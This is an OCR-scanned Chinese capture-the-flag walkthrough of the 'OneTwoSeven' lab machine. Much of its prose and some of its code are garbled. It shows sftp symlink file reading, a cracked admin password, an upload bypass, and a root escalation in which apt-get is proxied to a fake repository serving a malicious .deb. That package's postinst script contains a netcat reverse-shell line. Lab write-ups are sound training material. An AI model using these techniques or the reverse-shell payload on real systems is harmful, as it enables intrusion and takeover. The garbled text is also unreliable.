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ports service
22 ssh

80 web
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1ls [Lls-options [path]]
Imkdir path
In [-s] oldpath newpath
1pwd
1s [-lafthlnrst] [path]
lumask umask
mkdir path
progress
put [-afPpRr] local [remote]
pwd
quit
rename oldpath newpath
rm path
rmdir path
symlink oldpath newpath
ion
I command
1
?

Display local directory listin
Create local directory
Link remote file (-s for symli
Print local wor g directory
Display remo directory listi
Set local umask to 'umask’
Create remote directory
Toggle display of progress met
Upload file
Display remote working directo
Quit sftp
Rename remote file
Delete remote file
Remove remote directory
symlink rem
Show SFTP ve
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Thtisftp, AT LR MsymlinkiX MRS, ' RVFIRATE RS, st A 1#ichroot T, (HiEwebB AW, HEEHIRIEHT T,
AT LLE A AN R AR B SRR, AR Eweb E ELEEEE (BURBEHITE) » 28R, HEERS AR — LTI Mlink, SA)5 ELE R
WRg . FRATAT LRI :

Index of /~ots-mMjY2ZTM/test/var/www

Name Last modified Size Description

& Parent Directory -

(3 html-admin/ 2019-02-26 09:16 -
(03 html/ 2019-02-15 19:35 -

Apache/2.4.25 (Debian) Server at 10.10.10.133 Port 80

4 7 BRI B B htmIsC R 2 Findex.php, I&AEAE— A html-adminscfE3e, B —.loginphp.swp, F#FkHAvimE 5,
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<?php if ( $_SERVER['SERVER_PORT'] != 60080 ) { die(); } ?>

if ( ($ _POST['login']) && ! ($_POST[ 'username']) && ! ($_POST[ 'password'])) {
if ($_POST['username'] == 'ots-admin' && ('sha256',$ POST[ 'password']) == '11c5a42c9d74d5442ef3cc835b

dalb3e7cc7f494e704a10d0ded426b2fbe5cbd8') {
$ SESSION[ 'username'] = 'ots-admin';
("Location: /menu.php");
} else {

$msg = 'Wrong username or password.';

% >Kk60080 LA ARV, (ERTIEELVIH, NMiZzZwebH)E P ITH, #if#hash

11cbad42c9d74d5442ef3cc835bda1b3e7cc7f494e704a10d0ded426b2fbebch

LR TCIERIMDS

sha256
Homesweethome1
AR B T A
username password
ots-admin Homesweethome1

% B passwd:

ots-y0Dc2ZNGQ
ots-2MjRjMzE

1%:999:999:127.0.0.1: /home/web/ots-y0Dc2NGQ: /bin/false

1x:1001:1001:10.10.14.246: /home /web/ots-2MjRIMzZE: /bin/false
ots-4Z0k3NzM: x:1002:1002:10,10.14.77: fhome/web/ots-4ZDk3NzM: /bin/false
ots-mYTZhNTI:x:1003:1003:10.10.15.35: /home/web/ots-mYTZhNTI: /bin/false
ots-jMDgxMmQ:x:1004:1004:10.10.13.156: /home /web/ots- JMDgxMmQ: /bin/false
ots-INzUwNzU:x:1005:1005:10.10.12.150: /home /web/ots-INzUwNzU: /bin/false
ots-1MzEzZWM: x:1006:1006:10.10.12.186: /home/web/ots-1MzEz2WM: /bin/false
ots-hNTVIMjg:x:1007:1007:10.10.14.151: /home/web/ots-hNTV1Mjg: /bin/false
ots-5Njg4MwWU:x:1008:1008:10.10.13.185: /home /web/ots-SNjgaMwu: /bin/false

BT LA NI P Bz SipE 9%, 111127.0.0.1 52 FATFRAE ) <5



T4 R Findex.php, Ll Az signup.php i IY

() { $ip = $ SERVER['REMOTE_ADDR']; return "ots-"

($1p),0,8))),3); }
() { $ip = $ SERVER['REMOTE_ADDR']; return ($ip),0,8); }

<!-- Only enable Link 1if access from trusted networks admin/20196212 -->
<!-- Added localhost admin/20196214 -->
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" || $_SERVER['REMOTE_ADDR'] == "104.24.0.54" ) { 2>
i class="nav-item"><a id="adminlink" class="nav-link enabled" href="http://onetwoseven.htb:60080/">Admin</a

} else { >

i class="nav-item"><a id="adminlink" class="nav-link disabled" href="http://onetwoseven.htb:60080/">Admin</

TRA ) B BIBATL %M 3Eip 9 127.0.0. 19I5, R A L i R R A= 3 2 Filsftp, - i3k Bluser.txt

FEE— T ERATIAES A = S

o FUfiph127.0.0.14 AL 1600805 [1, kAL H A 7 A A A s 1 1% A admindes B 5 i
o EHIVIHEL: ots-admin:Homesweethome1
o sftp (ssh) F[hfLHE: ots-mMjY2ZTM:3ff266e3

0x02 i 4 Kk

MRAE L pEE, T LVERIA T sshi A i 3%, HRIAE—IHIEHAIN, sshiikBlli, RagitiTsfpEll, & 7 KM
MBA FRIE, 7T AMIH] ssh i) -N Z24ck2E iEbashifi Dife, ATz fibash A k47 U A AT T .

ssh -NL 60080:127.0.0.1:60080 ots-mMjY2ZTM@10.10.10.133
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OneTwoSeven - Administration Backend

Login to the kingdom. Up up and away!

Username: [ | ‘

Password: \ |

Login |

A LR T, RIEH 2.
FALsubmmitizitidisable 17, Mt 1, H2 EALRTIRA404T . o .
BEENHETANE, K T RewriteEngine

The addon manager must not be executed directly but only via
the provided RewriteRules:

RewriteEngine On
RewriteRule ~addon-upload.php  addons/ots-man-addon.php [L]
RewriteRule Maddon-download.php addons/ots-man-addon.php [L]

By commenting individual RewriteRules you can disable single
features (i.e. for security reasons)

Please note: Disabling a feature through htaccess leads to 404 errors for now.

RIS FAE 404 2 K htaccess. » 7% & addons/ots-man-addon.phpix M@ H-RIG GEHERLS T IR



<?php (); if ('isset ($_SESSION[ 'username'])) { ("Location: /login.php"); }; if (
RVER[ "REQUEST _URI'], '/addons/') !== false ) { die(); };
# OneTwoSeven Admin Plugin
# OTS Addon Manager
switch (true) {
# Upload addon to addons folder.
case ('/\/addon-upload.php/',$ SERVER['REQUEST URI']):
if( ($_FILES['"addon'])){
$errors= array();
$file name = ($ _FILES['addon']['name']);
$file size =$ FILES['addon']['size'];
$file tmp =$ FILES['addon']['tmp_name'];

if($file size > 20000){
$errors[]="Module too big for addon manager. Please upload manually.';

}

if( ($errors)==true) {
($file tmp,$file name);

("Location: /menu.php");
("Content-Type: text/plain");

echo "File uploaded successfull.y";

} else {
("Location: /menu.php");
("Content-Type: text/plain");

echo "Error uploading the file: ";
($errors);

MR I, FRATHIURIF 75 Z 45 “addon-upload.php”, {HZAF A “addons”, A _L1fii i Rewrite L U #4738 URI:

/addon-download.php?a=/addon-upload.php

FENRIE] T & TR T, MAITIESER R T .

Matching Defaults entries for www-admin-data on onetwoseven:
env_reset, env keep+="Ttp proxy http proxy https proxy no proxy",
mail badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\: /usr/sbin\:/usr/bin\:/sbin\:/bin

User www-admin-data may run the following commands on onetwoseven:
(ALL : ALL) NOPASSWD: /fusr/bin/apt-get update, /fusr/bin/apt-get upgrade

1. - 14 H gtfobins.github.io$2 AL, {H &sudois Z&0Y, LA IE

2. FHEapt-getl 1B (Jetc/apt/sources.list.d/, /etc/apt/sources.list)

# OneTwoSeven special packages - not yet in use
deb http://packages.onetwoseven.htb/devuan ascii main



file:///C:/Users/ADMINI~1.ZB-/AppData/Local/Temp/gtfobins.github.io

A DLEEAS B — MR EE R 4525 DL Seweb ¥R LS, fi#apt-get update (IR M AL R, BATERerE — N E a1 23, R
J&i 1% flapt-get upgrade 5 5, #5145
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{Eoption Hr ¥ —~Edit proxy listener

[ Intercept T HTTP history TWebSockets histary Tﬂptinns 1

?| Proxy Listeners
@ Burp Proxy uses listeners to receive incoming HTTP reguests from your browser. You will need to configure your browser to use or
l Add J Running | Interface | Invisible | Redirect | Certificate
(] 127.0.0.1:8080 Per-host
(€] 10.10.12.150:8. .. 127.0.0.1:8000 Per-host
|_Remove Edit proxy listener (]
_[ Binding T Request handling T Certificate ]
LEJ These settings control how Burp binds the proxy listener.
Each instg
Burp. Bind to port: 8081
Import Bind to address: @ Loopback only
O All interfaces
O Specific address: | 10.10.12,143 |v]
7| Intercef
@ Use these
& Interce
Add
Edit
Remove
Up
;- [ oK . |/ Cancel J
— b —
|

Flriarm
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LML VAR ST L

Binding | Request handling T Certificate ]

EJ These settings control whether Burp redirects requests received by this listener.

Redirect to host: | 127.0.0.1

Redirect to port: | 8000

[J Force use of S5L

Invisible proxy support allows non-proxy-aware clients to connect directly to the listener.

[J Support invisible proxying (enable only if needed)

l o] 4 J [ Cance!

2. & 5 webJik %

B 77 B A python -m B

python -m SimpleHT TPServer

RG24 HT H B ywebiR H 3%,

3. HAR AL i B

A UL B IS S http_proxy,apt-get 2 i FT1ZM A i 8 (1REE, wgetth 2, EARITA R A2

export http_proxy="“http://port:port”



1% Hliptjportix B NWINIZEburpi & ip-jport
2§ 45 4 sudo apt-get updatelf (i 2275 2 A [ web Ik 55 2 A 1% sk AL K -

rr:9 http://packages.onetwoseven.htb/devuan ascii/main amdé
404 File not found

gn:11 http://packages.onetwoseven.htb/devuan ascii/main Tra

rddlﬂq package lists... Done

: The repository 'http://packages.onetwoseven.htb/devuan as
Data from such a repository can't be authenticated and is

: See apt-secure(8) manpage for repository creation and use
: The repository 'http://de.deb.devuan.org/merged ascii Reld
Updating from such a repository can't be done securely, al
: See apt-secure(8) manpage for repository creation and use
: The repository 'http://de.deb.devuan.org/merged ascii-sec
Updating from such a repository can't be done securely, a
: See apt-secure(8) manpage for repository creation and use
: The repository 'http://de.deb.devuan.org/merged ascii-upd
Updating from such a repository can't be done s
See apt-secure(8) manpage for repository creation and use
wnw-admin-data@onetwoseven: /var/www/html-admin/addons$

found

27.8.0.1 - - [01/Sep/2019 05:20:26] "GET /devuan/dists/asci
ain/il8n/Translation-en.lz4 HTTP/1.1" 404 -

27.8.0.1 - - [B1/Sep/2019 05:20:27] code 484, message File
found

27.8.8.1 - - [01/Sep/2019 05:20:27] "GET /devuan/dists/asci
ain/binary-all/Packages HTTP/1.1" 404

27.8.0.1 - - [81/Sep/2019 05:20:27] code 484, message File
found

27.8.8.1 - - [01/Sep/2019 05:20:27] "GET /devuan/dists/asci
ain/binary-amd64/Packages HTTP/1.1" 404 -

27.8.0.1 - - [81/Sep/2019 05:20:28] code 484, message File
found

27.8.8.1 - - [B81/Sep/2019 05:20:2 "GET /devuan/dists/asci
ain/il8n/Translation-en HTTPﬂ} : -

4, fﬁ' ﬁ‘ Hutcnj 1|J {—J)I—)I[—J l'lfJ %JJT@

TEburpsuiter f¥]historym] DL EE &I 5 2GR, $—-package, ZRJ5E7EAweb H &G @ AR H . #la0:

GET /devuan/dists/ascii/main/binary-amd64/Packages.gz HTTP/1.1

IRJEAEAR F s G B i H st 5 AR H 3¢ T #Packagestbiti, T HIKREH:


https://de.deb.devuan.org

*Package: whois*
*Version: 5.4.0%*
Maintainer: Franco (nextime) Lanza <nextime@devuan.org>
*Architecture: amd64*
Description: a command line interface and FUSE filesystem for Amazon Clou
acd_cli provides a command line interface to Amazon Drive and allows Unix users to mount

their drive using FUSE for read and (sequential) write access. It is currently in beta stage.

Node Cache Features

- local caching of node metadata in an SQLite database

- addressing of remote nodes via a pathname (e.g. ~ /Photos/kitten.jpg )
- file search

CLI Features

- tree or flat listing of files and folders
- simultaneous uploads/downloads, retry on error
Section: python3
*Priority: required*
*Filename: pool/main/a/acdcli/python.deb*
*Size: 42912*
*SHA256: dcbbb731d1df8bac22bddedeb4a5db048a7845ccc041d6464e42b97d63845c55*

CUbRyE H B R
wiEId dpkg -l K EE HARHLAR R, ARG EFERRAR R A AT HE  (version & HARHLES
Filename J& web /7 /itdeb ¥t 5, X ANFRAi T LABE R 5 2K

SRJERE A JA T deb AT

1. 7R E IFilenameff) H k) dwhois H 3%, #EA, #RJ5 612 DEBIANH 3% mkdir DEBIAN;cd DEBIAN
2. #E ADEBIAN, % control postinst=( {4

3. controlfi :

Package: whois
Maintainer: Debian
Version: 5.4.0
Architecture: amd64
Description: Debian

postinst3 {44 5 shf ARG 5 171, & 5l LLS /S e sfishell 45 4

#! /bin/sh

nc -e /bin/bash ip port

4. chmod 555 postinst (7F &)
5. dpkg ¥ €l, dpkg-deb --build /whois whois.deb

6. 7T LU Is -al SIRELIRA 11 deb STk /N, SR 518 i sha256sumsi3R BGRBUM 2, 154341 _L T it package 7 (1) A 25
I J5 Frpackage T £ gz - RI AT

LR A] DL R A RRAMR A R AT, BIX B )/ whois .

5.&Jf5—H



o AT nc -nvip port (postinstr#E 5E ffiport)
o H#rHl sudo apt-get update

e sudo apt-get upgrade

JRDPBRIBE T (Get: 7D

Get:7 http://packages.onetwoseven.htb/devuan ascii/main amd64 Packages [555 B] [16/1830
Ign:9 http://packages.one ven.htb/devuan ascii/main Translation-en
Ign:5 http://packages.one en.htb/devuan ascii/main all Packages
Ign:9 http://packages.o oseven.htb/devuan ascii/main Translation-en
Ign:5 http://packages.one en.htb/devuan ascii/main all Packages
Ign:9 http://packages.one ven.htb/devuan ascii/main Translation-en
Reading package lists...
W: The repository 'http: ffpd(kdgEH onetwoseven.htb/devuan ascii Release' does not have a Rele
sg file.
Data from such a repository can't be authenticated and is therefore potentially dangerous
u
See apt-secure(8) manpage for repository creation and user configuration details.
: The repository 'http://de.deb.devuan.org/merged ascii Release' does no longer have a Relea
e Tile.
Updating fromlsuch a repository can't be done securely, and is therefore disabled by defau

itory creation and user configuration details.

See apt-secure(8) manpage for S
an.org/merged ascil-security Release' does no longer hav

epo
v

r
: The repository 'http://de.deb.devu

Release file.
Updating from such a repository can't be done securely, and is therefore di

sww-admin-data@onetwoseven: /var/lib/apt/lists$ sudo apt-get upgrad
sudo apt-get upgrade
Reading package lists... Done
Building dependency tree
Reading state information... Done
Calculating upgrade... Done
he following packages will be upgraded:
whois
1 upgraded, © newly installed, ©® to remove and @ not upgraded.
Need to get 42.9 kB of archives.
After this operation, 351 kB disk space will be free
Do you want to continue? [Y/n] y

%, Wfupgrade STy, AN HFER—HE. IR Hshell

:~# nc -nvlp 8881
istening on [any] 888
onnect to [10.10.12.150] from (UNKNOWN) [10.10.10.133] 56320

initrd.img

initrd.img.old
ib
ib64
ost+found
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